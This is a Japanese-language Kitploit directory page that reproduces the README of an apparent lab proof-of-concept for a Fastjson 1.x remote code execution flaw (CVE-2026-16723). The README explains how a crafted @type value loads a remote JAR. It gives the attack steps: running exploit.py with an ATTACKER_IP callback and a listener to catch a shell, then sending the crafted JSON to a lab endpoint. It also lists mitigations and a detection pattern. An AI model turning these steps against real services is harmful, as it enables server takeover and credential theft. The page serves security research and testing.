Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-16723 — Fastjson RCE(CVE-2026-16723)用のPoCエクスプロイト。自動化されたJARペイロードの生成と、細工されたJSONを介した配信を特徴とし、AutoTypeの制限をバイパスします。 | Kitploit
ツール/GitHubGitHub/eqstlab/cve-2026-16723
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育レッドチーミングペイロード開発
GitHubeqstlab/cve-2026-16723

CVE-2026-16723

Fastjson RCE(CVE-2026-16723)用のPoCエクスプロイト。自動化されたJARペイロードの生成と、細工されたJSONを介した配信を特徴とし、AutoTypeの制限をバイパスします。

リポジトリを見る
1112ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-16723 Fastjson RCE

★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★


概要

CVE-2026-16723 は、Fastjson 1.x(1.2.68 – 1.2.83)における**リモートコード実行(RCE)**の脆弱性です。 Fastjson が攻撃者制御の JSON をパースするとき、細工された @type 値は checkAutoType 内のクラスリソース検索に変換されます。Spring Boot の実行可能な fat-JAR では、クラスローダーがその名前を jar:http:// URL として解決し、リモート JAR を取得(SSRF)してから、AutoType が無効であっても @JSONType アノテーションを持つクラスをロードします。 最新の JDK / Tomcat は jar:http:// バイナリ名を拒否するため、信頼性の高い亜種は JAR を JVM キャッシュにシードし、jar:file:/proc/self/fd/N 経由で再読み取りします。これによりクラスが定義され、静的初期化子が実行されてコード実行に至ります。 AutoType は無効のままであり、クラスパスガジェットは不要です。


影響を受けるバージョン

カテゴリバージョン
影響ありFastjson 1.2.68 ≤ version ≤ 1.2.83
修正済みFastjson 2.x に移行(修正済みの 1.x リリースはなし)

影響

  • サービスアカウントとしてのリモートコード実行
  • ホストおよび環境からのシークレット/認証情報の漏えい
  • 影響を受けるアプリケーションの完全な侵害

環境

ラボのターゲットは公開ストアフロント(Northwind Store)で、その検索 API はリクエストボディを Fastjson でバインドします。すべて Fastjson の標準デフォルトです:SafeMode オフ、AutoType オフ、Spring Boot の fat-JAR としてパッケージ化されています。

docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
前提条件このラボでの状態
Fastjson 1.2.68 – 1.2.831.2.83
Spring Boot 実行可能 fat-JARはい
未認証の JSON パース経路POST /api/products/search
SafeMode / AutoTypeデフォルト(両方オフ)

PoC

攻撃者とターゲットは同じ Docker ブリッジネットワーク上で実行されるため、ターゲットはアウトバウンド接続として攻撃者に到達します(追加のポートは公開されません)。

ステップ 1:ターゲットが起動していることを確認する

curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'

ステップ 2:攻撃者マシンでエクスプロイトを実行する

exploit.py はペイロード JAR をビルドし、それを配信し、リスナーを起動し、リクエストボディを出力します。必要なのはコールバックアドレスのみです。

python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444

ステップ 3:ペイロードを配信する

出力されたボディを検索エンドポイント(Burp Repeater または curl)に貼り付けて送信します。検索リクエストは通常の機能であり、細工されているのはその JSON ボディのみです。

curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' --data-binary @body.json

ステップ 4:結果を確認する

コードはサービスアカウントとして実行されます。取得したシェルを介してフラグを取得します:

whoami

緩和策

  • Fastjson 2.x に移行する
  • または com.alibaba:fastjson:1.2.83_noneautotype を実行する
  • または JVM を -Dfastjson.parser.safeMode=true で起動する
  • 検出:jar:http または jar:file / /proc/self/fd パターンを含む JSON の @type 値

分析

  • KR:
  • EN:
ツールをダウンロード